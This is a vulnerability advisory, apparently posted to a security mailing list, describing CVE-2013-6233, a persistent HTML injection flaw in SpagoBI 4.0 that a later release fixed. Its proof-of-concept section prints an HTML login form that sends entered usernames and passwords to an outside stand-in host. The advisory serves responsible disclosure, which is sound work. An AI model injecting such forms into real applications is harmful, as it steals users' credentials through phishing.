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[CVE-2013-6233] Persistent HTML Script Insertion permits offsite-bound forms in SpagoBI v4.0
From: Christian Catalano <ch.catalano () gmail com>
Date: Sat, 01 Mar 2014 20:27:13 +0100

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01. ###  Advisory Information ###

Title: Persistent HTML Script Insertion permits offsite-bound forms
Date published: 2014-03-01
Date of last update: 2014-03-01
Vendors contacted: Engineering Group
Discovered by: Christian Catalano
Severity: Medium


02. ###  Vulnerability Information ###

CVE reference: CVE-2013-6233
CVSS v2 Base Score: 4
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:N/I:P/A:N)
Component/s: SpagoBI
Class: Input Manipulation


03. ### Introduction ###

SpagoBI[1] is an Open Source Business Intelligence suite, belonging to the free/open source SpagoWorld initiative, founded and supported by Engineering Group[2]. It offers a large range of analytical functions, a highly functional semantic layer often absent in other open source platforms and projects, and a respectable set of advanced data visualization features including geospatial analytics. [3]SpagoBI is released under the Mozilla Public License, allowing its commercial use. SpagoBI is hosted on OW2 Forge[4] managed by OW2 Consortium, an independent open-source software community.

[1] - http://www.spagobi.org
[2] - http://www.eng.it
[3] - http://www.spagoworld.org/xwiki/bin/view/SpagoBI/PressRoom?id=SpagoBI-ForresterWave-July2012
[4] - http://forge.ow2.org/projects/spagobi


04. ### Vulnerability Description ###

SpagoBI contains a flaw that allows persistent  script insertion.
This may allow a remote attacker to inject HTML code including forms that load on a remote site, which can allow the attacker to conduct a phishing attack on a user and capture their credentials.


05. ### Technical Description / Proof of Concept Code ###

The vulnerability is located in some SpagoBI input fields
(e.g.'Description' input field from 'Short document metadata')

To reproduce the vulnerability, the attacker (a malicious user) can add the malicious HTML script code:

<form method="POST" action="http://www.mocksite.org/login/login.php.";>
Username: <input type="text" name="username" size="15" /><br />
Password: <input type="password" name="passwort" size="15" /><br />
<div align="center">
<p><input type="submit" value="Login" /></p>
</div>
</form>

in 'Description' input field from 'Short document metadata' and click on save button. The code execution happens when the victim (an unaware user) click on 'Short document metadata'.

This is not the only way to inject malicious HTML code in the SpagoBI web app.


06. ### Business Impact ###

Exploitation of the vulnerability requires low privileged application user account but low or medium user interaction. Successful exploitation of the vulnerability results in persistent phishing and persistent external redirects.


07. ### Systems Affected ###

This vulnerability was tested against: SpagoBI 4.0
Older versions are probably affected too, but they were not checked.


08. ### Vendor Information, Solutions and Workarounds ###

This issue is fixed in SpagoBI v4.1, which can be downloaded from:
http://forge.ow2.org/project/showfiles.php?group_id=204

Fixed by vendor [verified]


09. ### Credits ###

This vulnerability has been discovered by:
Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com


10.  ### Vulnerability History ###

October  08th, 2013: Vulnerability identification
October  22th, 2013: Vendor notification to  [SpagoBI Team]
November 05th, 2013: Vendor Response/Feedback  from  [SpagoBI Team]
December 16th, 2013: Vendor Fix/Patch [SpagoBI Team]
January  16th, 2014: Fix/Patch Verified
March    01st, 2014: Vulnerability disclosure


11. ### Disclaimer ###

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this information.

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